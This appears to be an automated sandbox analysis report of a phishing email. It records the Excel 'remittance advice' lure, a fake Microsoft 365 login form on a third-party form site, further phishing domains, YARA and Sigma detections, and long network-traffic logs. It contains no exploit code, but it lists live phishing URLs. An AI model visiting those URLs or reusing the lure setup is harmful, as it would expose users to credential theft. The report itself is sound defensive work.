Edit tour

Windows Analysis Report
23eb97f4-980c-745d-c5e2-6fdb70189e48.eml

Overview

General Information

Sample name:	23eb97f4-980c-745d-c5e2-6fdb70189e48.eml
Analysis ID:	1467192
MD5:	0504a9e027463df2524c34785c4370df
SHA1:	1e3cc9cf6800430e50608eef513c0c62142684ed
SHA256:	0c021dd3dedb4f581c35c5e23b18fcad472f318207f64545a015a469bef89091
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish29

AI detected suspicious e-Mail

Office viewer loads remote template

Phishing site detected (based on shot match)

Tries to detect the country of the analysis system (by using the IP)

Detected clear text password fields (password is not hidden)

Detected non-DNS traffic on DNS port

HTML page contains hidden URLs or javascript code

Queries the volume information (name, serial number etc) of a device

Sigma detected: Excel Network Connections

Sigma detected: Office Autorun Keys Modification

Sigma detected: Suspicious Office Outbound Connections

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

OUTLOOK.EXE (PID: 1428 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\23eb97f4-980c-745d-c5e2-6fdb70189e48.eml" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 5008 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "3746BD7C-CAAA-4E9B-B5E3-A783F3BDADA9" "EAC5D534-D677-47E3-848A-9EE2928924C7" "1428" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

EXCEL.EXE (PID: 6328 cmdline: "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\ETS9RD8W\Mitek Holdings Inc Remittance Advice.xlsx" MD5: 4A871771235598812032C822E6F68F19)

EXCEL.EXE (PID: 6596 cmdline: "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" /Embedding MD5: 4A871771235598812032C822E6F68F19)

chrome.exe (PID: 6616 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://form.questionscout.com/667c5a5b01ef84c1eaf4663e MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6680 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=2024,i,8418763609125932989,11422265555400074771,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

splwow64.exe (PID: 1360 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.2.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.3.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.4.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.3.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
0.4.pages.csv	JoeSecurity_HtmlPhish_29	Yara detected HtmlPhish_29	Joe Security
Click to see the 8 entries

Sigma Signatures

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 13.107.246.60, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 6328, Protocol: tcp, SourceIp: 192.168.2.17, SourceIsIpv6: false, SourcePort: 58032

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 1428, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.17, DestinationIsIpv6: false, DestinationPort: 58032, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 6328, Protocol: tcp, SourceIp: 13.107.246.60, SourceIsIpv6: false, SourcePort: 443

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: geolocation-db.com

Phishing

AI detected phishing page

Source: https://form.questionscout.com	LLM: Score: 9 brands: Microsoft 365 Reasons: The URL 'https://form.questionscout.com' does not match the legitimate domain associated with Microsoft 365, which is 'microsoft.com'. The page prominently displays a login form requesting an email address and password, which is a common tactic used in phishing attacks. The use of a third-party domain (questionscout.com) instead of the official Microsoft domain is highly suspicious and indicative of a phishing attempt. Additionally, there is no CAPTCHA present, which is often used by legitimate sites to prevent automated attacks. The overall design and branding attempt to mimic Microsoft 365, employing social engineering techniques to mislead users. DOM: 0.0.pages.csv
Source: https://form.questionscout.com	LLM: Score: 9 brands: Microsoft 365 Reasons: The URL 'https://form.questionscout.com' does not match the legitimate domain for Microsoft 365, which is 'microsoft.com'. The page prominently displays a login form asking for email and password, which is a common tactic used in phishing attacks. The use of the Microsoft 365 branding on a non-Microsoft domain is suspicious and indicative of social engineering techniques aimed at misleading users. There is no captcha present, which is often used on legitimate login pages to prevent automated attacks. Based on these factors, the site is highly likely to be a phishing site. DOM: 0.2.pages.csv
Source: https://form.questionscout.com	LLM: Score: 10 brands: Microsoft 365 Reasons: The URL 'https://form.questionscout.com' does not match the legitimate domain for Microsoft 365, which is 'microsoft.com'. The page displays a prominent login form asking for email and password, which is a common phishing tactic. The use of offensive language in the email and password fields is highly suspicious and unprofessional, indicating malicious intent. Additionally, the domain 'questionscout.com' is not associated with Microsoft 365. The presence of social engineering techniques and suspicious elements strongly suggests that this is a phishing site. DOM: 0.4.pages.csv
Source: https://form.questionscout.com	LLM: Score: 10 brands: Microsoft 365 Reasons: The URL 'https://form.questionscout.com' does not match the legitimate domain for Microsoft 365, which is 'microsoft.com'. The page prominently displays a login form asking for an email address and password, which is a common phishing technique. The domain 'questionscout.com' is unrelated to Microsoft, raising suspicion. Additionally, the use of offensive language in the email and password fields is highly unprofessional and indicative of a phishing attempt. The site uses social engineering techniques to mislead users into thinking it is a legitimate Microsoft 365 login page. DOM: 0.3.pages.csv

Yara detected HtmlPhish29

Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.3.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.4.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.3.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.4.pages.csv, type: HTML

Phishing site detected (based on shot match)

Source: https://v8ylw.pargape.com/4wmGg/	Matcher: Template: captcha matched
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/tk19v/0x4AAAAAAAZ_ULCgVPKce-5k/auto/normal	Matcher: Template: captcha matched
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/tk19v/0x4AAAAAAAZ_ULCgVPKce-5k/auto/normal	Matcher: Template: captcha matched

Source: https://form.questionscout.com/667c5a5b01ef84c1eaf4663e

HTTP Parser: <input type="text"... for password input

Source: https://v8ylw.pargape.com/4wmGg/

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> <script src="https://cdnjs.cloudflar...

Source: https://v8ylw.pargape.com/4wmGg/	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/tk19v/0x4AAAAAAAZ_ULCgVPKce-5k/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/tk19v/0x4AAAAAAAZ_ULCgVPKce-5k/auto/normal	HTTP Parser: No favicon

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.17:58022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.17:58032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.17:58034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.17:58036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.17:58033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.17:58035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:58043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.182:443 -> 192.168.2.17:58044 version: TLS 1.2

Source: excel.exe

Memory has grown: Private usage: 1MB later: 88MB

Source: global traffic	TCP traffic: 192.168.2.17:57986 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.17:57986 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.17:57986 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.17:57986 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.17:57986 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.17:57986 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: form.questionscout.com
Source: global traffic	DNS traffic detected: DNS query: d3djdih2k2vfi2.cloudfront.net
Source: global traffic	DNS traffic detected: DNS query: formapi.questionscout.com
Source: global traffic	DNS traffic detected: DNS query: geolocation-db.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: brentwoodnsteel.shop
Source: global traffic	DNS traffic detected: DNS query: v8ylw.pargape.com
Source: global traffic	DNS traffic detected: DNS query: xks.vrt7119.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com

Source: unknown	Network traffic detected: HTTP traffic on port 58054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58100
Source: unknown	Network traffic detected: HTTP traffic on port 58083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58109
Source: unknown	Network traffic detected: HTTP traffic on port 58013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58112
Source: unknown	Network traffic detected: HTTP traffic on port 58065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58110
Source: unknown	Network traffic detected: HTTP traffic on port 58048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58003
Source: unknown	Network traffic detected: HTTP traffic on port 58104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58009
Source: unknown	Network traffic detected: HTTP traffic on port 58053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58008
Source: unknown	Network traffic detected: HTTP traffic on port 58042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58016
Source: unknown	Network traffic detected: HTTP traffic on port 58090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58011
Source: unknown	Network traffic detected: HTTP traffic on port 58084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58068
Source: unknown	Network traffic detected: HTTP traffic on port 58068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58066
Source: unknown	Network traffic detected: HTTP traffic on port 58102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58062
Source: unknown	Network traffic detected: HTTP traffic on port 58045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 58108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58079
Source: unknown	Network traffic detected: HTTP traffic on port 58092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58074
Source: unknown	Network traffic detected: HTTP traffic on port 58086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58073
Source: unknown	Network traffic detected: HTTP traffic on port 58040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58070
Source: unknown	Network traffic detected: HTTP traffic on port 58027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58084
Source: unknown	Network traffic detected: HTTP traffic on port 58081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58080
Source: unknown	Network traffic detected: HTTP traffic on port 58011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58099
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58091
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58026
Source: unknown	Network traffic detected: HTTP traffic on port 58093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58022
Source: unknown	Network traffic detected: HTTP traffic on port 58049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58028
Source: unknown	Network traffic detected: HTTP traffic on port 58038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58033
Source: unknown	Network traffic detected: HTTP traffic on port 58061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58030
Source: unknown	Network traffic detected: HTTP traffic on port 58082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58039
Source: unknown	Network traffic detected: HTTP traffic on port 58071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58040
Source: unknown	Network traffic detected: HTTP traffic on port 58043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57999
Source: unknown	Network traffic detected: HTTP traffic on port 58015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58054
Source: unknown	Network traffic detected: HTTP traffic on port 58094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58053
Source: unknown	Network traffic detected: HTTP traffic on port 58088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58056
